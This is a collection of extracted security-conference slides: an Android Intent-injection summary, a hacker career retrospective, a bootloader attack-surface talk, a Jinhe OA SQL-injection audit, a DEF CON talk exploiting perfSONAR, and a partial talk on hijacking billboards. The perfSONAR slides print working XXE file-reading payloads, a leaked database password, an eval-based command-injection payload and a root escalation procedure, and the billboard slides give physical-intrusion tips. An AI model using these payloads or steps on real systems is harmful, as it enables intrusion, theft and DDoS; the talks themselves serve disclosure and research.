归纳了Intent注⼊入的4种形式:Intent转换与复制、 Action/Component/Data注⼊入、PendingIntent误用与 parseUri注⼊入 ¡ 归纳了利用自动化的⼯工具发现这4类形式的⽅方法,通过批 量的扫描,可以轻易发现这些漏洞 ¡ 在每种都找到了⼀一个安卓OS或Chrome安卓版的0day,达 到本地提权或远程命令执⾏行的效果,分别得到了Android 与Chrome的官⽅方致谢 ¡ Android官⽅方致谢:http://source.android.com/devices/tech/security/overview/acknowledgements.html ¡ Chrome官⽅方致谢:http://googlechromereleases.blogspot.com/2014/11/stable-­‐channel-­‐update_18.html ¡ 谢谢!
pdf
從初出茅廬到破解大師 我的 14 年駭客生涯回顧 Orange Tsai Orange Tsai • Principal security researcher at and captain of HITCON CTF team, focusing on Web/App 0-day research • Speaker of top hacker conferences: Black Hat USA, DEFCON, HITB, HITCON • 2019 Pwnie Awards, "Best Server-Side Bug" winner • 2021 Pwn2Own champion 幼年期 成熟期 完全體 成長期 究極體 幼年期 (2002 ~ 2007) 1. 如何開始接觸電腦? 2. 如何開始接觸駭客? • 天才駭客新聞... 帥爆了 "最佳解答" 還是錯的... 幼年期 (2002 ~ 2007) 1. 如何開始接觸電腦? 2. 如何開始接觸駭客? • 天才駭客新聞... 帥爆了 成長期 (2007 ~ 2009) • Re: 從零開始的駭客生活 1. 開放世界的遊戲探索 2. 從獨自學習到走入團體 - NISRA 3. 廢寢忘食只為了求解答 - Hacker Challenge 成長期 (2007 ~ 2009) • Re: 從零開始的駭客生活 1. 開放世界的遊戲探索 2. 從獨自學習到走入團體 - NISRA 3. 廢寢忘食只為了求解答 - Hacker Challenge 成長期 (2007 ~ 2009) • Re: 從零開始的駭客生活 1. 開放世界的遊戲探索 2. 從獨自學習到走入團體 - NISRA 3. 廢寢忘食只為了求解答 - Hacker Challenge 把公式整頁抄下來跑去問數學老師... 駭客年會: 第一次有高中生得到名次!? !∑(゚Д゚ノ) 第一次有高中生拿到冠軍!? 成熟期 (2009 ~ 2013) • 如何獲得更多的認同感? • 外在認同感: 刻意訓練演講能力 • 整理過的資料才是資訊 • 有辦法解釋的才是知識 • 自我認同感: 「我好像有點強」好奇自己的極限在哪裡? • 挑戰還有哪裡我進不去? • 「出事了阿伯」 PHP CONF 2013 - 矛盾大對決 能入侵任何網站的駭客 vs. 絕對不會被入侵的網站 成熟期 (2009 ~ 2013) • 如何獲得更多的認同感? • 外在認同感: 刻意訓練演講能力 • 整理過的資料才是資訊 • 有辦法解釋的才是知識 • 自我認同感:「我好像有點強」好奇自己的極限在哪裡? • 挑戰還有哪裡我進不去 • 「出事了阿伯」 完全體 (2014 ~ 2018) • 對於駭客技術的追求要往哪發洩? ...CTF! • 技術愛好者的天堂 • 追逐成就感 • 「承認永遠有比你天才的人...」 完全體 (2014 ~ 2018) • 對於駭客技術的追求要往哪發洩? ...CTF! • 技術愛好者的天堂 • 追逐成就感 • 「承認永遠有比你天才的人...」 Dead End on Web Part - 余弦 (EvilCos) 「哪怕再小, 也要讓自己成為某一點的 No.1」 究極體 (2017 ~ Now) • 眼界放大到世界莫名產生的使命感 • 站上世界、讓世界看到台灣! • 有哪些人才是我能幫忙的? • 年年都要超越去年的自己,陷入為了找漏洞而找的泥沼 • 別人(花時間)也能找到的漏洞真的是我的目標嗎? • 當工具人花時間幫廠商做 QA 不覺得很無聊嗎? • 用既有招式找漏洞 vs. 創造一整個新的流派 究極體 (2017 ~ Now) • 眼界放大到世界莫名產生的使命感 • 站上世界、讓世界看到台灣! • 有哪些人才是我能幫忙的? • 年年都要超越去年的自己,陷入為了找漏洞而找的泥沼 • 別人(花時間)也能找到的漏洞真的是我的目標嗎? • 當工具人花時間幫廠商做 QA 不覺得很無聊嗎? • 用既有招式找漏洞 vs. 創造一整個新的流派 「你會不會有一天不做資安?」 當你的動機只是因為有趣,出現更有趣的東西時馬上就被吸引走 我則是來自於不同階段目標的累加,怎麼覺得我會放棄資安? Dead End on Web Part - ????? 「駭客是終生職」 結語 • 變強公式: 1. 找到動機 2. 刻意挑戰 N+1 3. 解決: 獲得樂趣與成就感 4. 失敗: 檢討問題、反思下一次如何避免失誤 • 推薦閱讀系列文: • (知乎 ZhiHu) 懶人在思考 by @Evilcos (余弦) • (CoderBridge) 成為專家之路 by @Po-Jen • (Medium) 關於變強這檔事 by @fchern 找出 "能解" 與 "不能解" 的差異 orange_8361 [email protected] Thanks! https://blog.orange.tw
pdf
TAKBOO 深度解析BOOTLOADER攻击面 WHO AM I? takboo THIS IS A QUESTION! ABOUT ME ▸ Sec·Ret 团队成员 ▸ Android 漏洞研究 ▸ Linux 内核漏洞研究 联系方式:[email protected] PART 01 Bootloader 背景 PART 02 主流厂商 Bootloader 对比 PART 03 Qualcomm aboot PART 04 Bootloader 漏洞挖掘 PART 05 Bootloader 漏洞分析 目录 CONTENTS 01 bootloader 背景 Bootloader 背景 PC 端 BOOTLOADER ▸ BIOS/UEFI/UBOOT ▸ 检查硬件,加载操作系统 ▸ 多阶段启动 Bootloader 背景 移动设备 BOOTLOADER ▸ 多阶段启动 ▸ 完整性 ▸ 来源检测 ▸ 版本检测 Bootloader 背景 ARM TRUSTED BOOT ▸ CoT(chain of Trust) ▸ Trusted Boot ▸ TEE(Trusted Execution Environment) ▸ TrustZone ▸ 异常级别 Bootloader 背景 ARM TRUSTED BOOT Bootloader 背景 ANDROID BOOTLOADER ▸ aboot/hboot/sboot ▸ 启动安卓系统 ▸ 厂商实现差异 Bootloader 背景 ANDROID VERIFIED BOOT ▸ 延续 CoT ▸ 两套实现 ▸ 安全状态转换 ▸ Bootloader 解锁 02 主流厂商对比 主流厂商 Bootloader 对比 QUALCOMM BOOTLOADER ▸ Aboot ▸ 市场占有率高 ▸ EL1 ▸ LK(Little Kernel) ▸ 符合 Trusted Boot 和 Verified Boot 主流厂商 Bootloader 对比 MEDIATEK BOOTLOADER ▸ 类似于aboot ▸ EL1 ▸ 不开源 ▸ 初始化重要硬件 ▸ 符合 Trusted Boot 和 Verified Boot 主流厂商 Bootloader 对比 HUAWEI BOOTLOADER ▸ 整合后续启动阶段 ▸ EL3 ▸ 不开源 ▸ 符合 Trusted Boot 和 Verified Boot 主流厂商 Bootloader 对比 SAMSUNG BOOTLOADER ▸ sboot ▸ EL1 ▸ 不开源 ▸ Odin 模式 主流厂商 Bootloader 对比 Vendor EL Fastboot Qualcomm EL1 TRUE MediaTek EL1 TRUE Huawei EL3 TRUE Samsung EL1 TRUE 03 Qualcomm aboot Qualcomm aboot LK ▸ 开源(git://codeaurora.org/kernel/lk.git) ▸ BL33 ▸ 支持多种启动模式 ▸ 支持 unlocking Lk 源码分析 http://www.freebuf.com/news/135084.html Qualcomm aboot LK ▸ 进行各种早期的初始化工作(cpu, emmc thread etc)。 ▸ 判断进入 recovery 或 fastboot 的条件是否被触发。 ▸ 从 emmc 中获取 boot.img 并加载到指定内存区域。 ▸ 从内存加载 kernel 到 KERNEL_ADDRESS。 ▸ 从内存加载 ramdisk 到 RAMDISK_ADDRESS。 ▸ 加载设备树到 TAGS_ADDRESS。 ▸ 关闭 cache, interrupts, 跳转到 kernel。 Qualcomm aboot FASTBOOT ▸ 指令注册 ▸ 启动监听 ▸ 指令解析与执行 Qualcomm aboot ▸ 指令数组 ▸ 指令链表 ▸ 指令注册 * Qualcomm aboot ▸ fastboot 初始化 ▸ fastboot 线程启动 ▸ 等待USB Qualcomm aboot ▸ 读取 USB ▸ 解析命令 04Bootloader 漏洞挖掘 Bootloader 漏洞挖掘 BOOTLOADER 难点 ▸ 闭源 ▸ 无调试符号 ▸ 格式不统一 ▸ 函数库/函数签名 ▸ 硬件耦合 Bootloader 漏洞挖掘 BOOTLOADER 攻击面 ▸ 存储数据 ▸ Sdcard 数据 ▸ Recovery 命令 ▸ Fastboot 命令 Bootloader 漏洞挖掘 BOOTLOADER 攻击面 Bootloader 漏洞挖掘 BOOTLOADER 漏洞类型 ▸ 内存破坏漏洞 ▸ 存储设备写入漏洞 ▸ Bootloader 解锁漏洞 Bootloader 漏洞挖掘 BOOTLOADER 漏洞挖掘框架 ▸ 提取 bootloader ▸ 搜索入口函数 ▸ 搜索 unlock 函数 ▸ 模拟执行确定数据流向 ▸ 生成执行报告 Bootloader 漏洞挖掘 BOOTLOADER 漏洞挖掘框架 05Bootloader 漏洞分析 Bootloader 漏洞分析 CADMIUM ▸ Boot.img 加载过程 Bootloader 漏洞分析 CADMIUM ▸ 内存破坏漏洞 ▸ 绕过Verified Boot ▸ 漏洞成因 Bootloader 漏洞分析 CADMIUM Bootloader 漏洞分析 CADMIUM 利用 ▸ Emmc 结构 Bootloader 漏洞分析 CADMIUM 利用 ▸ Bootloader 覆盖 Bootloader 漏洞分析 CADMIUM 利用 ▸ 修复数据 Thanks!
pdf
2022/5/26 22:55 2022-5-26-Jhsoft-OA-SQL file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html 1/4 金和OA C6代码审计 SQL注入 金和版本C6V3.0的n day,年前同事透露了金和OA这个n day,我眼疾手快截了图下来并记了路径。 由于当时还在实习太菜了,未学习C#的代码审计,因此没有深究漏洞成因。这几天整理去年的材料时 发现手上正好有新版的金和OA备份文件,就简单来审计利用链。 漏洞在jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo方法中,其中HomeService 为Webservice文件 在HomeService的GetHomeInfo方法中,首先stringBuilder新建了字符串常量池 2022/5/26 22:55 2022-5-26-Jhsoft-OA-SQL file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html 2/4 之后调用GetQuickUserInfo查询userID 再return抽象类ExecProcReDataTable,没有可控参数拼接 回到GetHomeInfo方法,进入quickUserInfo判断条件,由于quickUserInfo数组并不存在PhotoURL参 数,text为空,进入判断MapAndFindFilebyRelativeFilePath方法。 2022/5/26 22:55 2022-5-26-Jhsoft-OA-SQL file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html 3/4 判断为false,text设为空,释放类quickUserInfo。 text为空进入条件string userSex = GetUserSex(userID); 此处就可以看到userId拼接进了SQL语句中进行处理,造成了SQL注入 string queryString = "select DossValue from dossiervalue a left join users b on a.RegCode=b.userid where a.DossierFieldID='3' and b.userid='" + userId + "'"; 最后它的利用POC是: 2022/5/26 22:55 2022-5-26-Jhsoft-OA-SQL file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html 4/4 http://XXXX/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=payload
pdf
ATTACKING NETWORK INFRASTRUCTURE TO GENERATE A 4 TB/S DDOS FOR $5 by Luke Young $ WHOAMI ➤ Undergraduate Student - Junior ➤ 2nd year at DEF CON ➤ Website: bored.engineer ➤ Email: [email protected] ➤ LinkedIn: https://www.linkedin.com/in/bored-engineer ➤ Twitter: @TheBoredEng DISCLAIMER ➤ The views and opinions expressed in this presentation are those of the authors and do not necessarily reflect the official policy or position of any current or previous employer. Examples of exploitation performed within this presentation are only examples and they should not be utilized in the real-world. AGENDA ➤ What is Internet2? ➤ What is perfSONAR? ➤ Exploiting perfSONAR ➤ Privilege Escalation to root ➤ Enumerating perfSONAR Instances ➤ Code Release and Q&A BACKSTORY ➤ “The Internet is a global system of interconnected networks. The University connects to both the global Internet and a number of special research and education networks commonly referred to as Internet2. These networks provide high bandwidth connectivity enabling and supporting research collaborations and educational opportunities regionally, nationally, and around the world.” WHAT IS A INTERNET2? ➤ “Internet2 is an exceptional community of U.S. and international leaders in research, academia, industry and government who create and collaborate via innovative technologies. Together, we accelerate research discovery, advance national and global education, and improve the delivery of public services.” ➤ 282 - Higher Education ➤ 86 - Corporations ➤ 66 - Affiliate members (Governments) ➤ 42 - Regional and State Education Networks ➤ Lookout ➤ Office 365 ➤ Rackspace ➤ SoftLayer ➤ Splunk ➤ VMWare ➤ Zoom WHAT IS A INTERNET2? ➤ AWS ➤ Azure ➤ Box ➤ Dropbox ➤ DocuSign ➤ Duo Security ➤ LastPass WHAT IS A INTERNET2? INTERNET2 PRODUCTS ➤ Trust Identity & Middleware ➤ InCommon Federation ➤ Shibboleth ➤ Performance & Analytics ➤ BWCTL - Bandwidth Test Controller ➤ NDT - Network Diagnostic Tool ➤ OWAMP - One-Way Ping ➤ perfSONAR - pS-Performance Toolkit ATTACKING PERFSONAR PERFSONAR ISSUE #783 PERFSONAR ISSUE #783 XML EXTERNAL ENTITY PROCESSING (XXE) <?xml version="1.0"?> <!DOCTYPE author [ <!ELEMENT author (#PCDATA)> <!ENTITY ly "Luke Young"> ]> <presentations> <presentation> <name>Investigating the Practicality and Cost of Abusing Memory Errors</name> <location>DEF CON 23</location> <author>&ly;</author> </presentation> <presentation> <name>Attacking Network Infrastructure to Generate a 4 Tb/s DDoS for $5</name> <location>DEF CON 24</location> <author>&ly;</author> </presentation> </presentations> XML EXTERNAL ENTITY PROCESSING (XXE) <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> XML EXTERNAL ENTITY PROCESSING (XXE) <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> PERFSONAR ISSUE #783 PERFSONAR ISSUE #783 REBORN PERFSONAR ISSUE #783 REBORN <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/"> <nmwg:data> &xxe; </nmwg:data> </nmwg:message> </SOAP-ENV:Body> </SOAP-ENV:Envelope> PERFSONAR ISSUE #783 REBORN <SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/" xmlns:nmwgr="http://ggf.org/ns/nmwg/result/2.0/" type=“ErrorResponse"> <nmwg:data>root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin ... pulse:x:489:492:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin admin:x:500:505::/home/admin:/bin/bash sudo:x:501:506::/home/sudo:/bin/bash </nmwg:data> <nmwg:metadata id=“return_message"> <nmwg:eventType>error.nmwg.action_not_supported</nmwg:eventType> </nmwg:metadata> <nmwg:data metadataIdRef="return_message" id=“data_return_message"> <nmwgr:datum>Unknown messagetype: </nmwgr:datum> </nmwg:data> </nmwg:message> </SOAP-ENV:Body> </SOAP-ENV:Envelope> curl -X POST -d @passwd.xml http://perfSONAR:8090/ PERFSONAR ISSUE #783 REBORN <soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <soapenv:Fault> <faultcode>soapenv:Server.Internal</faultcode> <faultstring>Error parsing message: I/O error : Permission denied I/O error : Permission denied :1: parser error : Failure to process entity xxe g:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/"&gt; &lt;nmwg:data&gt; &amp;xxe; ^ :1: parser error : Entity 'xxe' not defined g:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/"&gt; &lt;nmwg:data&gt; &amp;xxe; ^ at /opt/perfsonar_ps/oppd_mp/bin/oppd.pl line 760 </faultstring> </soapenv:Fault> </soapenv:Body> </soapenv:Envelope> curl -X POST -d @shadow.xml http://perfSONAR:8090/ PERFSONAR ISSUE #783 REBORN <SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/" xmlns:nmwgr="http://ggf.org/ns/nmwg/result/2.0/" type=“ErrorResponse"> <nmwg:data>[main] sql_db_engine = django.db.backends.postgresql_psycopg2 sql_db_name = esmond sql_db_user = esmond sql_db_password = 7hc4m1 tsdb_root = %(ESMOND_ROOT)s/tsdb-data ... </nmwg:data> <nmwg:metadata id=“return_message"> <nmwg:eventType>error.nmwg.action_not_supported</nmwg:eventType> </nmwg:metadata> <nmwg:data metadataIdRef="return_message" id=“data_return_message"> <nmwgr:datum>Unknown messagetype: </nmwgr:datum> </nmwg:data> </nmwg:message> </SOAP-ENV:Body> </SOAP-ENV:Envelope> curl -X POST -d @esmond.xml http://perfSONAR:8090/ PERFSONAR EXPLOITATION ➤ XXS and XXE abundant ➤ RCE seemed impossible PERFSONAR - BANDWIDTHGRAPH.CGI PERFSONAR - BANDWIDTHGRAPH.CGI if ( scalar @childnodes == 1 ) { if ( $child->textContent =~ m/(E|e)rror/ || $child->textContent =~ m/Query returned 0 results/ ) { next; } } my %tsresult = (); my $throughput = eval( $child->getAttribute("throughput") ); my $eTime = $child->getAttribute("timeValue"); my $etimestamp; } EXPLOITING PERFSONAR PERFSONAR - BANDWIDTHGRAPH.CGI <nmwg:data id="data.16870844" metadataIdRef="metadata.7441249" xmlns:nmwg="http:// ggf.org/ns/nmwg/base/2.0/"> <iperf:datum throughput="8.23811e+08" timeType="iso" timeValue="Tue Oct 19 15:18:29.823998065 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="8.0573e+08" timeType="iso" timeValue="Tue Oct 19 16:17:55.2163317044 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="8.29349e+08" timeType="iso" timeValue="Tue Oct 19 17:17:55.3262506549 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="8.24512e+08" timeType="iso" timeValue="Tue Oct 19 18:20:02.81157432 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="9.04838e+08" timeType="iso" timeValue="Tue Oct 19 19:17:56.3379084847 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="8.16295e+08" timeType="iso" timeValue="Tue Oct 19 22:21:00.284368039 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="8.32728e+08" timeType="iso" timeValue="Tue Oct 19 23:17:55.2126511324 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> <iperf:datum throughput="8.18147e+08" timeType="iso" timeValue="Wed Oct 20 04:19:43.2927588221 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/> </nmwg:data> PERFSONAR - BANDWIDTHGRAPH.CGI my $cgi = new CGI; my $ma_url = $cgi->param('url'); my $key = $cgi->param('key'); ... if ( !defined $ma_url ) { print $cgi->header; my $errmsg = "Missing MA_URL"; my $errfile = HTML::Template->new( filename => "$basetmpldir/bw_error.tmpl" ); $errfile->param( ERRORMSG => $errmsg ); print $errfile->output; exit(1); } ... if ( !defined $key ) { ... if(!$key){ print $cgi->header; my $errmsg = "Unable to find matching MA key for provided parameters"; my $errfile = HTML::Template->new( filename => "$basetmpldir/bw_error.tmpl" ); $errfile->param( ERRORMSG => $errmsg ); print $errfile->output; exit(1); } } PERFSONAR - BANDWIDTHGRAPH.CGI my $res = &getData( $ma_url, $key, $start, $end ); ... sub getData() { foreach my $k (@keyList){ my $ma = new perfSONAR_PS::Client::MA( { instance => $ma_url } ); ... my $result = $ma->setupDataRequest( ... );
 ... my @childnodes = $root->findnodes("./*[local-name()='datum']"); ... foreach my $child (@childnodes) { ... my $throughput = eval( $child->getAttribute("throughput") ); ... } } } PERFSONAR - BANDWIDTHGRAPH.CGI <SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/" id="message. 3046685" type=“EchoRequest"> <nmwg:metadata id=“metadata.12999789"> <nmwg:eventType>http://schemas.perfsonar.net/tools/admin/echo/2.0</ nmwg:eventType> </nmwg:metadata> <nmwg:data metadataIdRef="metadata.12999789" id=“data.1942969”></nmwg:data> </nmwg:message> </SOAP-ENV:Body> </SOAP-ENV:Envelope> PERFSONAR - BANDWIDTHGRAPH.CGI <SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/"> <nmwg:metadata id="metadata.1337"> <nmwg:eventType>success.test</nmwg:eventType> </nmwg:metadata> <nmwg:data metadataIdRef="metadata.1337"> <iperf:datum throughput="`whoami`" timeValue="1 1 1 1:1:1 1" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"> </nmwg:data> </nmwg:message> </SOAP-ENV:Body> </SOAP-ENV:Envelope> PERFSONAR - BANDWIDTHGRAPH.CGI PERFSONAR - OBTAINING ROOT PERFSONAR - ROOT? PERFSONAR - CONFIGMANAGER PERFSONAR - CONFIGMANAGER PERFSONAR - CONFIGMANAGER PERFSONAR - CONFIGMANAGER PERFSONAR - CONFIGMANAGER ➤ /etc/hosts ➤ /etc/ntp.conf ➤ /etc/ntp/step-tickers ➤ /etc/bwctld/bwctld.conf ➤ /etc/bwctld/bwctld.limits ➤ /etc/owampd/owampd.limits ➤ /usr/ndt/tcpbw100.html ➤ /opt/perfsonar_ps/ls_registration_daemon/ etc/ls_registration_daemon.conf ➤ /opt/perfsonar_ps/regular_testing/etc/ regular_testing.conf ➤ /opt/perfsonar_ps/toolkit/etc/ administrative_info ➤ /opt/perfsonar_ps/toolkit/etc/ enabled_services ➤ /opt/perfsonar_ps/toolkit/etc/ external_addresses ➤ /opt/perfsonar_ps/toolkit/etc/ ntp_known_servers PERFSONAR - CONFIGMANAGER Backup original bwctld.conf Use ConfigManager to stop bwctld Write executable posthook.pl Use ConfigManager to write new bwctld.conf Use ConfigManager to start bwctld PERFSONAR - CONFIGMANAGER Trigger a bwctl session, triggering posthook.pl as root Use ConfigManager to stop bwctld Remove posthook.pl Restore original bwctld.conf Use ConfigManager to start bwctld back to original configuration PERFSONAR - CONFIGMANAGER ENUMERATING PERFSONAR INSTANCES ESTIMATING THE PERFSONAR NETWORK CAPACITY ESTIMATING THE PERFSONAR NETWORK CAPACITY ESTIMATING THE PERFSONAR NETWORK CAPACITY ESTIMATING THE PERFSONAR NETWORK CAPACITY ESTIMATING THE PERFSONAR NETWORK CAPACITY PERFSONAR NETWORK MAPPING MAP.GO / PS-SPLUNK PERFSONAR NETWORK SUMMARY ➤ 970 Publicly routable nodes ➤ 12.51 TB of RAM ➤ 29.85 THz CPU Cycles ➤ Average Node: ➤ 13 GB of RAM ➤ 12 Cores at 2.6 GHz PERFSONAR THEORETICAL NETWORK SPEED 5.719 Tb/s CALCULATING ACTUAL NETWORK SPEED CALCULATING ACTUAL NETWORK SPEED ➤ Enumerate all perfSONAR instances and their maximum interface speed ➤ Calculate instance location from GeoIP ➤ Match 5 closest instances of same or faster interface speed CALCULATING ACTUAL NETWORK SPEED ➤ index=ps sourcetype=ps-summary | dedup ls_client_uuid | rename external_address.address as address, external_address.speed as speed, services{}.enabled as enabled | where mvindex(enabled,0)="1" | fillnull value=10000000000 speed | iplocation address | map maxsearches=100000 search="search index=ps sourcetype=ps-summary | dedup ls_client_uuid | rename services{}.enabled as peer_enabled | eval peer_enabled = mvindex(peer_enabled,0) | where peer_enabled="1" | eval address=$address$, speed=$speed$ | rename external_address.address as peer_address, external_address.speed as peer_speed | fillnull value=10000000000 peer_speed | where peer_address!=address AND peer_speed >= speed | eval lat=$lat$, lon=$lon$ | iplocation prefix=peer_ peer_address | eval distance=sqrt(pow(lat-peer_lat,2)+pow(lon-peer_lon,2)) | where distance!=0 | sort distance | head 5 | fields address, speed, peer_address, peer_speed, distance" | table address, speed, peer_address, peer_speed, distance CALCULATING ACTUAL NETWORK SPEED ➤ Never run 2 tests with the same instance at the same time ➤ Never run more than 10 tests at the same time ➤ Never test a host that doesn’t have bwctl enabled PERFSONAR ACTUAL NETWORK SPEED 3.703 Tb/s LIVE DEMO CONCLUSION ➤ oppd (XXE) - unresolved ➤ bandwidthGraph.cgi (RCE) - fixed by perfSONAR 3.5.1 on March 3rd ➤ ConfigDaemon (PrivEsc) - unresolved CONCLUSION ➤ GitHub: http://www.github.com/bored-engineer ➤ Email: [email protected] ➤ LinkedIn: https://www.linkedin.com/in/bored-engineer ➤ Twitter: @TheBoredEng
pdf
Hijacking the Outdoor Digital Billboard Tottenkoph ~ Rev ~ Philosopher Who are we? Tottenkoph [email protected] Member; Hackers for Charities Rev Host; Denver, CO 2600 Philosopher Member; Denver, CO 2600 What do we cover? • Tools and Information Needed In case you wanted to try hacking the billboard, here’s some information and tools that will come in handy. <Obligatory Disclaimer> We are not suggesting, teaching, or condoning the hacking of The Company’s Outdoor Digital Billboard Network. </Obligatory Disclaimer> • Physical and Network Vulnerabilities Yes, they exist and yes, there are many of them What do we cover? • What *NOT* to Do A few things that you would want to avoid if you were going to attempt hacking the billboard. (See previous slide for Obligatory Disclaimer) • The Purpose a Hacked Digital Billboard Serves Who would want to do this? Why? Why did we do it? • Was told, “I bet you can’t hack that.” • No one had done it yet • Saw it as a possible target for future lulz • We were drunk and it sounded like a good idea at the time Who are they? • International telecommunications company • Boasts that they have the only digital billboard network in the country This is quickly changing as other companies are realizing they can save and make money by doing this as well as get the environmentalists off their back (can claim they’re being “green” by not building more billboards). By the time that this presentation is given, they will also have added billboards in various parts of Europe. The Company (Cont.) • VERY litigation happy They have a super big team of lawyers (we assume) and we have… none. So we’re not going to specify which company it is and maintain that this is for informational purposes only. </ass covering> • Appears as the blurry thing in all of our pictures Blurred out because, again, they’re very litigation happy. • Utilizes different manufacturers for their boards This provides various ways to get into their network. Billboard To our knowledge, three primary types of billboards exist: • The first type contains a Verizon Telephone Network Interface with clearly marked ADSL POTS splitter and half-ringer. • Instructions as to the testing and wiring of the telephone line accessible from an exposed phone jack suggest the performance of a basic GO-NO-GO continuity test from the site of said billboard; further use and/or potential vulnerabilities of this line for remote access are unknown. • Self-actuated data connections for update purposes are presumed. Billboard with Verizon Telephone Network Interface Wireless/Satelite • The second type of billboard site noted contains a nondescript box with a satellite dish. • It is known that the only three methods of billboard access and maintenance are satellite, POTS and wireless. • The existence of POTS in addition to potentially unencrypted wireless traffic at the sites of digital billboards presents a theoretical security risk in the instance of the presence of potential intruders on the intranet. The billboard (Cont.) Plug in • An unlabeled box similar to the one present at the second classification also exists at the site of the third, secured with a standard commercial Master brand lock. • The medium of external communication from this billboard is unknown at present, although the presence of POTS is conjectured. • An E-Clips surge suppressor is also visible at the site of the third billboard. The billboard Physical Vulnerabilities • Social Engineering -- Sales people are really cool people because they’ll answer any question you have if they think they’re going to get a sale. We were able to find out image specs, uploading information, and some security procedures. Sooper Seekrit Passphrase: Money is no option. -- “I work for IT” or “I’m a college student majoring in marketing”. Yeah, they still fall for that. Physical Vulns (cont.) • The Billboard --One security camera, pointing at the images on the billboard --Nothing surrounding the area around the billboard on the ground (gate, fence, etc.) --Located off the side of a road, most of which don’t experience heavy traffic between 2:30 and 4:00 in the morning. Physical Vulnerabilities (cont.) • The Billboard (cont.) --Usually within walking distance of a parking lot that’s almost empty during the same hours --The only thing between you and the console at the bottom of a billboard is a: Commercial Masterlock (LOL!) NOTE: Sometimes there isn’t a lock at all. Network Vulnerabilities • They are vulnerable to: --People connecting wirelessly (that’s right folks, to connect, you don’t have to worry about passwords or 